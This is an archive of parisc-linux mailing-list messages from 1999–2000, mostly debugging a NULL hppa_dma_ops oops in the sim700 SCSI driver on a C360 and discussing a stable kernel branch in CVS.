    4c98:       6b cc 3f 31     stw r12,-68(sr0,sp)
    4c9c:       6b cb 3f 39     stw r11,-64(sr0,sp)
    4ca0:       6b c6 3f 61     stw r6,-50(sr0,sp)
    4ca4:       6b c4 3f 71     stw r4,-48(sr0,sp)
    4ca8:       4a 83 00 00     ldw 0(sr0,r20),r3
    4cac:       4a 69 00 00     ldw 0(sr0,r19),r9
    4cb0:       90 60 30 00     cmpiclr,<> 0,r3,r0
    4cb4:       08 18 02 43     copy r24,r3
    4cb8:       91 20 30 00     cmpiclr,<> 0,r9,r0
    4cbc:       08 17 02 49     copy r23,r9
    4cc0:       e8 40 00 00     b,l 4cc8 <sim700_init_host+0x78>,rp
    4cc4:       4b ca 3e 99     ldw -b4(sr0,sp),r10
    4cc8:       08 1c 02 48     copy ret0,r8
    4ccc:       34 19 00 00     ldi 0,r25
    4cd0:       35 07 01 00     ldo 80(r8),r7
    4cd4:       34 18 00 60     ldi 30,r24
    4cd8:       e8 40 00 00     b,l 4ce0 <sim700_init_host+0x90>,rp
    4cdc:       08 07 02 5a     copy r7,r26
    4ce0:       49 d3 00 00     ldw 0(sr0,r14),r19
    4ce4:       34 1a 00 00     ldi 0,r26
    4ce8:       23 24 00 00     ldil 8000,r25
    4cec:       0e 68 10 96     ldw  4(sr0,r19),r22
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  This instruction here
    4cf0:       37 d8 3f 11     ldo -78(sp),r24
    4cf4:       e6 c0 20 00     be,l 0(sr4,r22),%sr0,%r31
    4cf8:       08 1f 02 42     copy r31,rp

Looks like pci_alloc_consistent is broken...

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops in sim700.c on C360
Date: Fri, 1 Sep 2000 17:12:33 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20000901171233.C1538@parcelfarce.linux.theplanet.co.uk>
References: <87zolsktgr.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619102 3317 80.91.229.3 (22 Nov 2014 01:18:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Fri Sep  1 10:13:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA11834
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 10:13:10 -0600
Original-Received: (qmail 12004 invoked by uid 15267); 1 Sep 2000 16:12:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11987 invoked from network); 1 Sep 2000 16:12:50 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 16:12:50 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13UtQf-0001PO-00; Fri, 01 Sep 2000 17:12:33 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <87zolsktgr.fsf@linuxcare.com>; from dhd@linuxcare.com on Fri, Sep 01, 2000 at 11:44:20AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7868

On Fri, Sep 01, 2000 at 11:44:20AM -0400, David Huggins-Daines wrote:
> <sim700.c, line 1664>:
> 
>     host = scsi_register(tpnt, sizeof(struct sim700_hostdata));
>     hostdata = (struct sim700_hostdata *)host->hostdata;
>     memset(hostdata, 0, sizeof(struct sim700_hostdata));
>     hostdata->targets = pci_alloc_consistent(NULL, PAGE_SIZE << 3, &dma_addr);

pci_alloc_consistent is a macro which indirects via hppa_dma_ops.

>     4cd8:       e8 40 00 00     b,l 4ce0 <sim700_init_host+0x90>,rp
>     4cdc:       08 07 02 5a     copy r7,r26
>     4ce0:       49 d3 00 00     ldw 0(sr0,r14),r19
>     4ce4:       34 1a 00 00     ldi 0,r26
>     4ce8:       23 24 00 00     ldil 8000,r25
>     4cec:       0e 68 10 96     ldw  4(sr0,r19),r22
>                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  This instruction here
>     4cf0:       37 d8 3f 11     ldo -78(sp),r24
>     4cf4:       e6 c0 20 00     be,l 0(sr4,r22),%sr0,%r31
>     4cf8:       08 1f 02 42     copy r31,rp
> 
> Looks like pci_alloc_consistent is broken...

And that's clearly hppa_dma_ops being NULL.  Before I committed the
support for PCX-S,T machines, this was initialised to pa11_dma_ops
but I now leave it uninitialised.  If the CPU detection code detects a
PCX-L or PCX-L2 CPU then hppa_dma_ops gets initialised to pa11_dma_ops.
If it detects a PCX-S or PCX-T CPU then it initialises it to fail_dma_ops
(i think richard changed the name recently?).  The CCIO support and
the SBA/LBA support initialise hppa_dma_ops with their respective
support routines.  So I deduce that the CCIO support hasn't recognised
your machine.  Perhaps we should initialise it to a routine which prints
that the PCI ops haven't been initialised and halts.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <tkorycki@sprint.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] bubsy on the list ?
Date: Sat, 27 Mar 1999 23:03:00 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <1.5.4.32.19990328040300.00687bd4@pop3.sprint.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619103 3320 80.91.229.3 (22 Nov 2014 01:18:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:23 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: tkorycki@sprint.ca  Sat Mar 27 23:03:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id XAA31815
	for <hppa-linux@sod.res.cmu.edu>; Sat, 27 Mar 1999 23:03:13 -0500
Original-Received: (qmail 26955 invoked by uid 15267); 28 Mar 1999 04:01:49 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 26948 invoked from network); 28 Mar 1999 04:01:49 -0000
Original-Received: from hme0.mailrouter02.sprint.ca (207.107.250.60)
  by mailserv2.iuinc.com with SMTP; 28 Mar 1999 04:01:49 -0000
Original-Received: from flow4.flow.north.net (spc-isp-tor-uas-26-12.sprint.ca [209.103.50.13])
	by hme0.mailrouter02.sprint.ca (8.8.8/8.8.8) with SMTP id XAA25972
	for <hppa-linux@thepuffingroup.com>; Sat, 27 Mar 1999 23:03:01 -0500 (EST)
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:7869

At 22:25 99-03-27 -0500, you wrote:
>Is there a site w/ hp gnu utility binaries ?
>
>Like the freesoftware site for solaris ?
>
>--

Try this:
http://hpux.ee.ualberta.ca/


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops in sim700.c on C360
Date: Fri, 1 Sep 2000 17:26:02 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20000901172602.K877@linuxcare.com>
References: <87zolsktgr.fsf@linuxcare.com> <20000901171233.C1538@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619103 3323 80.91.229.3 (22 Nov 2014 01:18:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:23 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Fri Sep  1 10:26:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12130
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 10:26:25 -0600
Original-Received: (qmail 28821 invoked by uid 15267); 1 Sep 2000 16:26:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28773 invoked from network); 1 Sep 2000 16:26:31 -0000
Original-Received: from user33-49.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.33.49)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 16:26:31 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C8646B005; Fri,  1 Sep 2000 17:26:02 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000901171233.C1538@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Fri, Sep 01, 2000 at 05:12:33PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7870

On Fri, Sep 01, 2000 at 05:12:33PM +0100, Matthew Wilcox wrote:
> And that's clearly hppa_dma_ops being NULL.  Before I committed the
> support for PCX-S,T machines, this was initialised to pa11_dma_ops
> but I now leave it uninitialised.  If the CPU detection code detects a
> PCX-L or PCX-L2 CPU then hppa_dma_ops gets initialised to pa11_dma_ops.
> If it detects a PCX-S or PCX-T CPU then it initialises it to fail_dma_ops
> (i think richard changed the name recently?).  The CCIO support and
> the SBA/LBA support initialise hppa_dma_ops with their respective
> support routines.  So I deduce that the CCIO support hasn't recognised
> your machine.  Perhaps we should initialise it to a routine which prints
> that the PCI ops haven't been initialised and halts.


        switch (boot_cpu_data.cpu_type) {
        case pcx:
        case pcxs:
        case pcxt:
                hppa_dma_ops = &pcx_dma_ops;
                break;
        case pcxl2:
                pa7300lc_init();
        case pcxl: /* falls through */
                hppa_dma_ops = &pcxl_dma_ops;
                break;
        default:
                break;
        }

I changed fail_dma_ops to pcx_dma_ops because the only difference between
the two sets of machines is that pci_alloc_consistent fails on pcx.  The
other functions referenced by hppa_dma_ops are still valid (pci_map_single,
for example), and are used in sim700 and lasi_82596.

Richard


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: hpux 11.00 near success
Date: Fri, 01 Sep 2000 09:35:40 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200009011635.JAA20533@milano.cup.hp.com>
References: <A4A5E4C468B5D11190220001FA6835DD04DD86BA@epixch003>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619103 3325 80.91.229.3 (22 Nov 2014 01:18:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Original-X-From: grundler@cup.hp.com  Fri Sep  1 10:32:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12419
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 10:32:17 -0600
Original-Received: (qmail 3549 invoked by uid 15267); 1 Sep 2000 16:32:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3527 invoked from network); 1 Sep 2000 16:32:24 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 16:32:24 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id EAAE9958A; Fri,  1 Sep 2000 09:32:22 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA20533;
	Fri, 1 Sep 2000 09:35:41 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 01 Sep 2000 09:50:45 PDT."
             <A4A5E4C468B5D11190220001FA6835DD04DD86BA@epixch003> 
Xref: news.gmane.org gmane.linux.ports.parisc:7871

=?iso-8859-1?Q?SOETE_Jo=EBl?= wrote:
> But as I just read recipe.hpux (and recipe.linux)
> I just note that host is not anymore specified.
> Is it perhaps the mistake? I will advise asap.

Joel,
I committed those scripts to the CVS build-tools repository to make
them available and not becuase I think they are perfectly correct.

> But glibc is not build with recipe.hpux neither recipe.linux also may I
> assume that I have to use same configure options ?

That's why recipe.linux is deprecated in favor of palinux-autobuilder.
The xenv gcc/binutils don't need glibc - only if you want to build
parisc-linux native toolchain or apps.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops in sim700.c on C360
Date: Fri, 01 Sep 2000 09:46:27 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <200009011646.JAA20572@milano.cup.hp.com>
References: <20000901171233.C1538@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619104 3326 80.91.229.3 (22 Nov 2014 01:18:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:24 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Fri Sep  1 10:43:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12663
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 10:43:05 -0600
Original-Received: (qmail 16312 invoked by uid 15267); 1 Sep 2000 16:43:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16254 invoked from network); 1 Sep 2000 16:43:11 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 16:43:11 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id CB9994FAF; Fri,  1 Sep 2000 09:43:09 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA20572;
	Fri, 1 Sep 2000 09:46:28 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 01 Sep 2000 17:12:33 PDT."
             <20000901171233.C1538@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:7872

Matthew Wilcox wrote:
> So I deduce that the CCIO support hasn't recognised
> your machine.  Perhaps we should initialise it to a routine which prints
> that the PCI ops haven't been initialised and halts.

It did "halt". ;^)

pci_dma_supported() is supposed to be called first by all drivers wishing
to use Dynamic DMA interfaces. I'm thinking a test in pci_dma_supported()
macro could oops nicely if hppa_dma_ops isn't set.

For "devices" which aren't claimed (eg CCIO), we need to make sure
the HVERS/SVERS values are make available to the device maintainer.
I'll poke dhd offline in this case.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Branching "stable" 2.3.99pre8 kernel
Date: 01 Sep 2000 15:41:55 -0400
Organization: Linuxcare, Inc.
Lines: 30
Approved: news@gmane.org
Message-ID: <87r973lx18.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619104 3327 80.91.229.3 (22 Nov 2014 01:18:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Sep  1 13:43:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA13922
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 13:43:16 -0600
Original-Received: (qmail 9912 invoked by uid 15267); 1 Sep 2000 19:43:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9850 invoked from network); 1 Sep 2000 19:43:21 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 19:43:21 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13UwhH-00060d-00
	for <parisc-linux@thepuffingroup.com>; Fri, 01 Sep 2000 15:41:55 -0400
Original-Lines: 29
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7873

Hi,

As some people have probably heard me say in person, the current head
branch of the kernel CVS tree is a substantial step backwards in speed
and now stability from 2.3.99pre8, and is not really usable for me to
do any user-space work on.

My 2.3.99pre8 tree (see below) crashes *repeatably* and
*deterministically* (with the exception of NFS which is basically crap
anyway), and therefore I'm fixing them as I find them.  In contrast,
what we've got at the head of our CVS crashes *randomly* on my A180
and will not stay up long enough to run the configure script of any of
the programs I have successfully built natively on 2.3.99pre8.

I don't know whether this is because 2.4.0test5 is broken upstream, or
whether we screwed up the merge, but it is simply unusable for my
purposes.

Therefore, until it gets fixed, I am using a hacked-up combination of
the pre-merge 2.3.99pre8 and updated signal and trap handling code.  I
would like to tag this as a branch in CVS so that I can continue to
fix kernel bugs that affect me without having to fully update to 2.4.0.

Will people mind terribly if I do this?  It should be trivial to merge
changes from the branch as needed.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Branching "stable" 2.3.99pre8 kernel
Date: Fri, 01 Sep 2000 13:00:29 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <200009012000.NAA21030@milano.cup.hp.com>
References: <87r973lx18.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619104 3334 80.91.229.3 (22 Nov 2014 01:18:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Sep  1 13:57:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14176
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 13:57:06 -0600
Original-Received: (qmail 25719 invoked by uid 15267); 1 Sep 2000 19:57:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25701 invoked from network); 1 Sep 2000 19:57:13 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 19:57:13 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 4F23433B
	for <parisc-linux@thepuffingroup.com>; Fri,  1 Sep 2000 12:57:12 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA21030
	for <parisc-linux@thepuffingroup.com>; Fri, 1 Sep 2000 13:00:31 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "01 Sep 2000 15:41:55 PDT."
             <87r973lx18.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7874

David Huggins-Daines wrote:
...
> Therefore, until it gets fixed, I am using a hacked-up combination of
> the pre-merge 2.3.99pre8 and updated signal and trap handling code.  I
> would like to tag this as a branch in CVS so that I can continue to
> fix kernel bugs that affect me without having to fully update to 2.4.0.
> 
> Will people mind terribly if I do this?  It should be trivial to merge
> changes from the branch as needed.

David,

I don't mind...I just don't want the fixes you make there get lost.
Please either post the fixes to the list or sign-up a maintainer (like
myself) to merge fixes into the 2.4.0-test6 based branch ("mainline").
I'd be happy to merge the few parts I understand/have clue about for you.

thanks,
grant


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /sbin/init source
Date: Fri, 1 Sep 2000 17:43:08 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0009011737180.26702-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619104 3336 80.91.229.3 (22 Nov 2014 01:18:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Fri Sep  1 15:43:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA14851
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 15:43:03 -0600
Original-Received: (qmail 3533 invoked by uid 15267); 1 Sep 2000 21:43:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3521 invoked from network); 1 Sep 2000 21:43:11 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 21:43:11 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id B76133C08; Fri,  1 Sep 2000 17:43:09 -0400 (EDT)
X-Sender: apark@misty.cdf
Xref: news.gmane.org gmane.linux.ports.parisc:7875

Does anybody have source code to /sbin/init which is included in
nfsroot-20000804.tgz?
Thanks


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------



From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Branching "stable" 2.3.99pre8 kernel
Date: 01 Sep 2000 18:27:21 -0400
Organization: Linuxcare, Inc.
Lines: 19
Approved: news@gmane.org
Message-ID: <87lmxblpdi.fsf@linuxcare.com>
References: <200009012000.NAA21030@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619105 3344 80.91.229.3 (22 Nov 2014 01:18:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: dhd@linuxcare.com  Fri Sep  1 16:55:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA15666
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 16:55:05 -0600
Original-Received: (qmail 1785 invoked by uid 15267); 1 Sep 2000 22:55:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1776 invoked from network); 1 Sep 2000 22:55:13 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 22:55:13 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13UzHP-0006GW-00; Fri, 01 Sep 2000 18:27:23 -0400
In-Reply-To: Grant Grundler's message of "Fri, 01 Sep 2000 13:00:29 -0700"
Original-Lines: 18
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7876

Grant Grundler <grundler@cup.hp.com> writes:

> David,
> 
> I don't mind...I just don't want the fixes you make there get lost.
> Please either post the fixes to the list or sign-up a maintainer (like
> myself) to merge fixes into the 2.4.0-test6 based branch ("mainline").
> I'd be happy to merge the few parts I understand/have clue about for you.

The branch tag is STABLE_2_3_99PRE8.  I've put one "fix" (really just
a workaround for some total stupidity that is hopefully a bit less
stupid) in there already, but I don't know if it's worth merging since
with any luck our userland memory management will be fixed for real
soon.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Hudson <mhudson@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Fwd: 2.4.0 do_fork() change, all architectures]
Date: Fri, 01 Sep 2000 20:39:33 -0500
Organization: @Home Network
Lines: 562
Approved: news@gmane.org
Message-ID: <39B05A55.A2E125BD@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619105 3345 80.91.229.3 (22 Nov 2014 01:18:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mhudson@home.com  Fri Sep  1 19:34:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA16515
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 19:34:56 -0600
Original-Received: (qmail 11380 invoked by uid 15267); 2 Sep 2000 01:35:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11373 invoked from network); 2 Sep 2000 01:35:04 -0000
Original-Received: from ha1.rdc1.ne.home.com (HELO mail.rdc1.ne.home.com) (imail@24.2.4.66)
  by mailserv2.iuinc.com with SMTP; 2 Sep 2000 01:35:04 -0000
Original-Received: from home.com ([24.3.245.88]) by mail.rdc1.ne.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20000902013503.MTSG5134.mail.rdc1.ne.home.com@home.com>
          for <parisc-linux@thepuffingroup.com>;
          Fri, 1 Sep 2000 18:35:03 -0700
X-Mailer: Mozilla 4.61 [en]C-AtHome0407  (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7877



-------- Original Message --------
Subject: 2.4.0 do_fork() change, all architectures
Resent-Date: Sat, 2 Sep 2000 03:28:27 +0200 (MET DST)
Resent-From: linux-m68k@phil.uni-sb.de
Date: Sat, 02 Sep 2000 12:27:23 +1100
